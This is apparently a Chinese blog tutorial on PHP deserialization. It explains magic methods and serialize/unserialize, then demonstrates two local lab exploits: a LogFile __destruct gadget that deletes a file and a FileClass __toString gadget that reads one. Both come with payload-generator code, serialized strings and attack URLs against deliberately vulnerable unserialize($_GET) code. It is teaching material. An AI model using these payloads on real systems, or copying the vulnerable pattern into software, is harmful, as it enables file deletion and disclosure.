php反序列化学习

❤何为php反序列化

序列化把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式,而反序列化就是把序列化的数据,转换成我们需要的格式,序列化和反序列化互为逆过程

php反序列化本身不危险,但是反序列化过程中,传入的参数可以被外部用户控制就会造成很大的危害。

❤php类可能会包含一些特殊的函数,名为magic函数,magic函数命名是以符号“__”开头的,比如__construct, __destruct,__toString, __sleep, __wakeup,这些函数在某些情况下会自动调用,例如:

__wakeup()                //使用unserialize时触发

__sleep()                    //使用serialize时触发

__destruct()               //对象被销毁时触发

__call()                       //在对象上下文中调用不可访问的方法时触发

__callStatic()              //在静态上下文中调用不可访问的方法时触发

__get()                       //用于从不可访问的属性读取数据

__set()                        //用于将数据写入不可访问的属性

__isset()                     //在不可访问的属性上调用isset()或empty()触发

__unset()                   //在不可访问的属性上使用unset()时触发

__toString()               //把类当作字符串使用时触发

__invoke()                 //当脚本尝试将对象调用为函数时触发

对于魔术函数的详解:PHP: 魔术方法 - Manual

❤理解php反序列化 需要理解php面向对象编程

结合具体的代码进行理解

<?php class TestClass #定义了一个类TestClass {     public $variable='this is a string'; #定义了一个变量variable ‘this is string’     public function PrintVariable() #定义了类当中的一个方法     {         echo $this->variable; #输出类当中的一个属性variable     } } $object=new TestClass(); #根据当前类创建了一个对象 $object->PrintVariable(); #对象调用类当中的方法(函数) ?>

结合另一段代码来理解php当中的魔术函数

<?php class TestClass {     public $variable='this is a string';     public function PrintVariable()     {         echo $this->variable . '<br />';     } //为了便于理解将这几个魔术函数的输出的值均修改     public function __construct() //__construct()函数创建一个新的对象会被调用     {         echo '_construct <br />';     }     public function __destruct() //__destruct()函数,php脚本结束的时候会被调用     {         echo '_destruct <br />';     }     public function __toString() //__tostring()对象被当作一个字符串时会被调用     {         return '_toString<br />';     } }   $object=new TestClass(); //这里创建了一个对象 所以__construct会被调用 $object->PrintVariable(); //这里创建了一个新的方法 this is string会被调用 echo $object; //php脚本结束 __destruct会被调用 ?>

输出的结果

php反序列化学习

了解了php当中的魔术函数,回到php反序列化的讨论当中来

为什么要存在反序列化

在变量的传递过程中,可能需要跨脚本进行变量的传递,但是当一个脚本执行完成之后,其对应的类方法对象等都会随之释放。所以就需要对代码进行序列化和反序列化,在php当中主要利用serialize和unserialize进行序列化和反序列化。

serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。

seriallize实现的过程就是一个序列化的过程

unserialize实现的过程就是一个反序列化的过程,在反序列化的过程中经历特定的一些条件可以重构php当中的对象并且执行php对象中的某些魔术函数。(在这个过程中就会产生反序列的漏洞)

结合具体的代码来理解序列化

<?php class User {     public $age=0;     public $name='';     public function PrintData()     {         echo 'User' . $this->name . 'is' . $this->age             . 'years old. <br />';     } } $usr= new User(); $usr->age=20; $usr->name='john'; $usr->PrintData(); $usr->PrintData(); echo serialize($usr); //对数据进行序列化处理 ?>

php反序列化学习

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 就是对象user序列化之后的形式就是对象usr进行序列化处理得到的

将对象序列化之后,再对其进行反序列化处理就可以得到原来的数据

<?php class User {     public $age=0;     public $name='';     public function PrintData()     {         echo 'User' . $this->name . 'is' . $this->age             . 'years old. <br />';     } } //将之前序列化得到的数据反序列化之后得到原来的对象 $usr=unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); $usr->PrintData(); ?>

php反序列化学习

在对象被序列化的时候 _sleep magic方法会被调用

在对象被序列化的时候 _wakeup magic方法会被调用

再结合具体的代码来理解php当中魔术函数的调用 和序列化与反序列化时调用的魔术函数

<?php class Test {     public $variable = 'BUZZ';     public $variable2='OTHER';     public function PrintVariable()     {         echo $this->variable.'<br />';     }     public function __construct()     {         echo '__construct<br />';     }     public function __destruct()     {         echo '__destruct<br />';     }     public function __wakeup()     {         echo '__wakeup<br />';     }     public function __sleep()     {         echo '__sleep<br />';         return array('variable','variable2');     } } $obj = new Test();  //创建一个对象,会调用__construct $serialized=serialize($obj);   //对 对象进行序列化的时候,会调用__sleep print 'Serialized:'. $serialized . '<br />';//输出序列化后的字符串 $obj2=unserialize($serialized);  //重建对象  也就是反序列化字符串  会调用__wakeup $obj2->PrintVariable();   ?>

执行结果

php反序列化学习

详细解析了序列化,反序列的过程中调用的魔术函数,以及一些常见的魔术函数。接下来上实操,结合具体的漏洞来进行分析

♥反序列化简单漏洞解析

<?php class LogFile {     public $filename ='error.log'; //日志文件名     public function LogData($text) //写入数据的代码     {         echo 'Log some data:' . $text . '<br />';         file_put_contents($this->filename,$text,FILE_APPEND);     }     public function __destruct() //定义了__destruct(),删除文件     {         echo '__destruct deletes"' . $this->filename . '" file. <br />';         unlink(dirname(__FILE__) . '/' . $this->filename);     } } ?>

当日志被存储进行文件时,__destruct被调用,日志文件会被删除

再结合这个类 传入外部参数类就可以实现对上一个删除的利用 这个php文件命名为 test.php

<?php include 'logfile.php'; class User {     public $age=0;     public $name='';     public function PrintData()     {         echo 'User' . $this->name . 'is'.$this->age . 'years old . <br />';     } } $usr=unserialize($_GET['usr_serialized']); ?>

这里我们写了一个简单的php文件进行实验。访问2.php的文件

php反序列化学习

使用的payload

<?php include 'logfile.php'; //调用第一个日志记录的类文件 $obj=new LogFile(); $obj->filename='2.php'; echo serialize($obj) . '<br />'; ?>

将需要操作的攻击参数进行序列化处理

php反序列化学习

得到序列化之后的字符串

在test.php当中使用了get方法来获取外部的参数 这里我们可以将序列化的字符传给get方法获取的参数实现这个漏洞的利用

将这串序列化后的字符 O:7:"LogFile":1:{s:8:"filename";s:5:"2.php";}

这里我们就可以构造payload http://127.0.0.1/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"2.php";}

执行这个payload得到 文件已经成功删除

php反序列化学习

再次访问对应的url 文件已经成功删除

php反序列化学习

php反序列化学习

♥再结合一个列子进行分析

<?php class FileClass {     public $filename='error.log';     public function __toString() //php当中的__tostring()魔术函数 当对象被当作字符串时就会执行下列的代码     {         return file_get_contents($this->filename); //读取文件     } } class User {     public $age=0;     public $name='';     public function __toString()     {         return 'User' . $this->name . 'is' . $this->age . 'years old. <br />'; //设置数据的格式输出的数据为字符串     } } $obj=unserialize($_GET['usr_serialized']); //同样参数外部可控 echo $obj; ?>

构造的exp文件

<?php include 'test2.php'; //载入之前的php代码 $obj=new FileClass(); //在FileClass类进行实列化处理 $obj->filename='1.txt'; //传入参数 echo serialize($obj) . '<br />'; //序列化变量的值 ?>

得到payload

php反序列化学习

拼接url 载入payload 读出1.txt文件当中的内容

php反序列化学习

以上对php反序列化的简单学习主要是对__tostring __destruct两个php魔术函数的,触发条件的利用,将payload序列化然后进行对应的传参,以达到利用的目的。对于这种漏洞的利用,需要在有源码的前提下对源码进行审计,找到相应的利用点和参数进行利用。

上一篇:leetcode 745 Prefix and Suffix Search


下一篇:--删除测试os_key